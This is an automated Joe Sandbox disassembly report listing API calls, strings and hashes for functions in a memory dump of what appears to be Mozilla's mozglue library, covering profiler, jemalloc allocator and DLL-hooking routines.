Part of subcall function 6C475B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4756EE,?,00000001), ref: 6C475B85
Part of subcall function 6C475B50: EnterCriticalSection.KERNEL32(6C4DF688,?,?,?,6C4756EE,?,00000001), ref: 6C475B90
Part of subcall function 6C475B50: LeaveCriticalSection.KERNEL32(6C4DF688,?,?,?,6C4756EE,?,00000001), ref: 6C475BD8
Part of subcall function 6C475B50: GetTickCount64.KERNEL32 ref: 6C475BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C49F0AC

Part of subcall function 6C475C50: GetTickCount64.KERNEL32 ref: 6C475D40
Part of subcall function 6C475C50: EnterCriticalSection.KERNEL32(6C4DF688), ref: 6C475D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C49F0BE

Part of subcall function 6C475C50: __aulldiv.LIBCMT ref: 6C475DB4
Part of subcall function 6C475C50: LeaveCriticalSection.KERNEL32(6C4DF688), ref: 6C475DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C49F155
GetCurrentThreadId.KERNEL32 ref: 6C49F1E0
AcquireSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49F1ED
ReleaseSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49F212
GetCurrentThreadId.KERNEL32 ref: 6C49F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C49F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C49F248
GetCurrentThreadId.KERNEL32 ref: 6C49F2AE
AcquireSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49F2BB
ReleaseSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49F2F8

Part of subcall function 6C48CBE8: GetCurrentProcess.KERNEL32(?,6C4531A7), ref: 6C48CBF1
Part of subcall function 6C48CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4531A7), ref: 6C48CBFA

Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C464A68), ref: 6C49945E
Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C499470
Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C499482
Part of subcall function 6C499420: __Init_thread_footer.LIBCMT ref: 6C49949F

GetCurrentThreadId.KERNEL32 ref: 6C49F350
AcquireSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49F35D
ReleaseSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49F381
GetCurrentThreadId.KERNEL32 ref: 6C49F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C49F3A0
GetCurrentThreadId.KERNEL32 ref: 6C49F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C49F491

Part of subcall function 6C4994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4994EE
Part of subcall function 6C4994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C499508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C49F3CF

Part of subcall function 6C49F070: GetCurrentThreadId.KERNEL32 ref: 6C49F440
Part of subcall function 6C49F070: AcquireSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49F44D
Part of subcall function 6C49F070: ReleaseSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C49F4A8
GetCurrentThreadId.KERNEL32 ref: 6C49F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C49F561
GetCurrentThreadId.KERNEL32 ref: 6C49F577
AcquireSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49F585
ReleaseSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C49F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C49F499
[I %d/%d] profiler_resume, xrefs: 6C49F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C49F3A8

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 32419bd5bf188f594f626e0a472db5abf0a2e332ce3084d53d1975031a33151c
Instruction ID: d2e1d24353983b8f5790fb633ae4459b420a39c539cebfb67bad13f36ed50bce
Opcode Fuzzy Hash: 32419bd5bf188f594f626e0a472db5abf0a2e332ce3084d53d1975031a33151c
Instruction Fuzzy Hash: 2BD118316062149FEB10FF64D814FA97BB8EB56329F14461EF95583B80DB71B904C7A2

Function 6C4664C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C4664DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C4664F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C466505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C466518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C46652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C46671C
GetCurrentProcess.KERNEL32 ref: 6C466724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C46672F
GetCurrentProcess.KERNEL32 ref: 6C466759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C466764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C466A80
GetSystemInfo.KERNEL32(?), ref: 6C466ABE
__Init_thread_footer.LIBCMT ref: 6C466AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C466AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C466AF7

Strings

nvdxgiwrap.dll, xrefs: 6C466513
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C466798
_etoured.dll, xrefs: 6C4664ED
detoured.dll, xrefs: 6C4664DA
nvd3d9wrap.dll, xrefs: 6C466500
user32.dll, xrefs: 6C466526

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: af68a0ac1d74acbe40c0ac1e17dfc0b55583ba069dd674388c8b3cbb9371efe4
Instruction ID: e45ace4b47de005ada4f2f017cc69cc01e1d2fddb42b8b594cd45f6d4cf8c0e8
Opcode Fuzzy Hash: af68a0ac1d74acbe40c0ac1e17dfc0b55583ba069dd674388c8b3cbb9371efe4
Instruction Fuzzy Hash: 6CF1F3709052198FDB20EF66CC88FDAB7B5AF06319F144299D809E3B45D731AE85CF91

Function 6C47D850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C47D904
LeaveCriticalSection.KERNEL32(?), ref: 6C47D971
memset.VCRUNTIME140(?,00000000,?), ref: 6C47D97B
LeaveCriticalSection.KERNEL32(?), ref: 6C47E2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C47E2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C47E308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C47E315
AcquireSRWLockExclusive.KERNEL32(6C4DE804), ref: 6C47E37C
GetSystemInfo.KERNEL32(?), ref: 6C47E3C7
__Init_thread_footer.LIBCMT ref: 6C47E3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C4DE810,00000040), ref: 6C47E404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C4DE7B8,00001388), ref: 6C47E46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C4DE744,00001388), ref: 6C47E483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C4DE784,00001388), ref: 6C47E4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C4DE7DC,00001388), ref: 6C47E4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C4DE768,00001388), ref: 6C47E50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C47E52E
ReleaseSRWLockExclusive.KERNEL32(6C4DE804), ref: 6C47E54F

Part of subcall function 6C46D960: EnterCriticalSection.KERNEL32(?), ref: 6C46D999
Part of subcall function 6C46D960: EnterCriticalSection.KERNEL32(6C4DE7B8), ref: 6C46DA13

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C47E6DD
Compile-time page size does not divide the runtime one., xrefs: 6C47E621
<jemalloc>, xrefs: 6C47E61C, 6C47E6CC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C47E560, 6C47E58A, 6C47E5A5
MALLOC_OPTIONS, xrefs: 6C47E3FF
MOZ_CRASH(), xrefs: 6C47E62B

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: e630c153772b2b22366e2e98cda75bf194c34552e96f1173728de01553ee894f
Instruction ID: ac9fa87e20e7c2c49db1eecb656a5e072408a3210fba0e6245f4baf3d2740894
Opcode Fuzzy Hash: e630c153772b2b22366e2e98cda75bf194c34552e96f1173728de01553ee894f
Instruction Fuzzy Hash: DD92AA71A156018FD724CF28C980F95FBE1BF86728F29866DE8698B791D331E841CBD1

Function 6C4BC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C4BC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C4BC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C4BC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C4BC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C4BC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C4BCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C4BCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C4BDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C4BDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C4BDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C4BDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C4BDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C4BE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C4BE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C4BE472

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: c66d98954b273ee30f0c89066e89259adda4b6123d476792da08754bbcf7add4
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 86338E71E0421A8FCB04CF98C8C0EADBBB2FF89314F194269D955BB755D731A946CBA0

Function 6C47ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C47EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C47EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C481695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4816B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C481770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C481A3E

Strings

~qEl, xrefs: 6C47ED10
~qEl, xrefs: 6C47ED13

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qEl$~qEl
API String ID: 3693777188-4094673447
Opcode ID: e7bdb6c9770e35d413c76d100c5fc2a25f119aae91c52f0aad43cf011aca2427
Instruction ID: 7f728abba8a33f1ec94a55c07f8398682899d77af341059a4419658eb2e81552
Opcode Fuzzy Hash: e7bdb6c9770e35d413c76d100c5fc2a25f119aae91c52f0aad43cf011aca2427
Instruction Fuzzy Hash: A0B31971E012198FDB25CFA8C890EDDB7B2BF49304F2581A9D859AB745D730AD86CF90

Function 6C46FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C4DE7B8), ref: 6C46FF81
LeaveCriticalSection.KERNEL32(6C4DE7B8), ref: 6C47022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C470240
EnterCriticalSection.KERNEL32(6C4DE768), ref: 6C47025B
LeaveCriticalSection.KERNEL32(6C4DE768), ref: 6C47027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C470D67, 6C470D7B, 6C470DAC
<jemalloc>, xrefs: 6C470D62, 6C470D76, 6C470DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C46FE99, 6C46FEB7, 6C46FED3, 6C470DB8, 6C470DD3, 6C4719B4

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 0580a17bffd8fa849de3ea450f72fe58561dfa4e2e812477508ba5f05a36c45d
Instruction ID: 893e052c3bd986cf69de1dc88964f4a86ca43001d09a012629e3bfe44ba97c1f
Opcode Fuzzy Hash: 0580a17bffd8fa849de3ea450f72fe58561dfa4e2e812477508ba5f05a36c45d
Instruction Fuzzy Hash: D5C2D271A067418FD724CF28C590F56BBE1BF85328F28C66DE4A98B795D732E801CB91

Function 6C4BE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C4BE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C4BEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C4BEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C4BEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C4BF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C4BF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C4C0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C4C0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C4C0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C4C0ED4

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 329365ffe4cfd752165652737f5719d6872dccf349ffb032af701846afdb886f
Instruction ID: a9140f6d1168d457a5eba8f9c49e570f05473cf8af45ff06531dec40067622e7
Opcode Fuzzy Hash: 329365ffe4cfd752165652737f5719d6872dccf349ffb032af701846afdb886f
Instruction Fuzzy Hash: 14636F75E0025A8FCB14CFA8C890E9DF7B2FF89310F298269D855BB755D730A946CB90

Function 6C493E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C4B7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>Il,?,?,?,6C493E7D,?,?), ref: 6C4B777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C493F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C493F5C
VerSetConditionMask.NTDLL ref: 6C493F8D
VerSetConditionMask.NTDLL ref: 6C493F99
VerSetConditionMask.NTDLL ref: 6C493FA0
VerSetConditionMask.NTDLL ref: 6C493FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C493FB4

Strings

C>Il, xrefs: 6C493E93
nvinit.dll, xrefs: 6C494479
nvd3d9wrap.dll, xrefs: 6C494466

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>Il$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-779104094
Opcode ID: 117f687e1b60f9557d4f175f72ea373fc5c3419ab3c8b1a0d110d6737e320279
Instruction ID: 0714b4c4f6449d7c1edcd25d26a6a15e73bb09269c09b10d0eb1b1cf2507b808
Opcode Fuzzy Hash: 117f687e1b60f9557d4f175f72ea373fc5c3419ab3c8b1a0d110d6737e320279
Instruction Fuzzy Hash: 4552D371610B489FD715DF34C890EABBBE9AF45208F44092DE4A78BB52DB34F919C7A0

Function 6C46FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C4DE7B8), ref: 6C46FF81
LeaveCriticalSection.KERNEL32(6C4DE7B8), ref: 6C47022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C470240
EnterCriticalSection.KERNEL32(6C4DE768), ref: 6C47025B
LeaveCriticalSection.KERNEL32(6C4DE768), ref: 6C47027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C46FE99, 6C46FEB7, 6C46FED3, 6C470DB8, 6C470DD3, 6C4719B4, 6C471A10
MOZ_CRASH(), xrefs: 6C470CA7

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 6aba7d77469bd015d9b98c56c06988a9d6161652768d881736e85ddd357f341f
Instruction ID: 342c87ec9998593eed5388d6ffd7e8cd481829fc40b10924a6e64c0dc51ebf68
Opcode Fuzzy Hash: 6aba7d77469bd015d9b98c56c06988a9d6161652768d881736e85ddd357f341f
Instruction Fuzzy Hash: 16B2E1716067418FD724CF28C590F96BBE1BF85328F28C66CE86A8BB95C771E841CB51

Function 6C4A5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Count entry, xrefs: 6C4A5AC3
schema, xrefs: 6C4A606D
data, xrefs: 6C4A6131
name, xrefs: 6C4A5E79, 6C4A5E8F
expected a Time entry, xrefs: 6C4A5CB6
ProfileBuffer parse error: %s, xrefs: 6C4A5AC8, 6C4A5CBB

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 1d8c25d0ff8877aa969142834b1cfcc92a53a5d7cbe82cebac233adeb6d13c4c
Instruction ID: 0cb2d353261a6c69575cc35de3cf74377a9bde2059cb6dee486ed1d3e2625946
Opcode Fuzzy Hash: 1d8c25d0ff8877aa969142834b1cfcc92a53a5d7cbe82cebac233adeb6d13c4c
Instruction Fuzzy Hash: F3928D71A087418FD724CF58C590F9ABBE1BFD8308F14891DE9999B755DB30E80ACB92

Function 6C467810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C4DE744), ref: 6C467885
LeaveCriticalSection.KERNEL32(6C4DE744), ref: 6C4678A5
EnterCriticalSection.KERNEL32(6C4DE784), ref: 6C4678AD
LeaveCriticalSection.KERNEL32(6C4DE784), ref: 6C4678CD
EnterCriticalSection.KERNEL32(6C4DE7DC), ref: 6C4678D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C4678E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C46795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C4679BB
LeaveCriticalSection.KERNEL32(?), ref: 6C467BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C467C82
LeaveCriticalSection.KERNEL32(6C4DE7DC), ref: 6C467CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C467DAF

Strings

DMl, xrefs: 6C46787F
DMl, xrefs: 6C46789F

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: DMl$DMl
API String ID: 759993129-3680030721
Opcode ID: 1320536b2a833d3994e290e4044e349ef06ba1a865801d7583836c1ac9cc41df
Instruction ID: 3639a77ef16587dba93941c555b2e8892d3e5b94c428013beaaf1c0818210e0d
Opcode Fuzzy Hash: 1320536b2a833d3994e290e4044e349ef06ba1a865801d7583836c1ac9cc41df
Instruction Fuzzy Hash: 04026171A0521A8FDB54CF19C984F99B7B5FF48318F2582AAD809A7B15D730BE91CF80

Function 6C4A2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C4A2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4A2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C4A2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4A3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C4A3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4A36BF

Strings

get , xrefs: 6C4A3205
set , xrefs: 6C4A36EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C4A378D

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
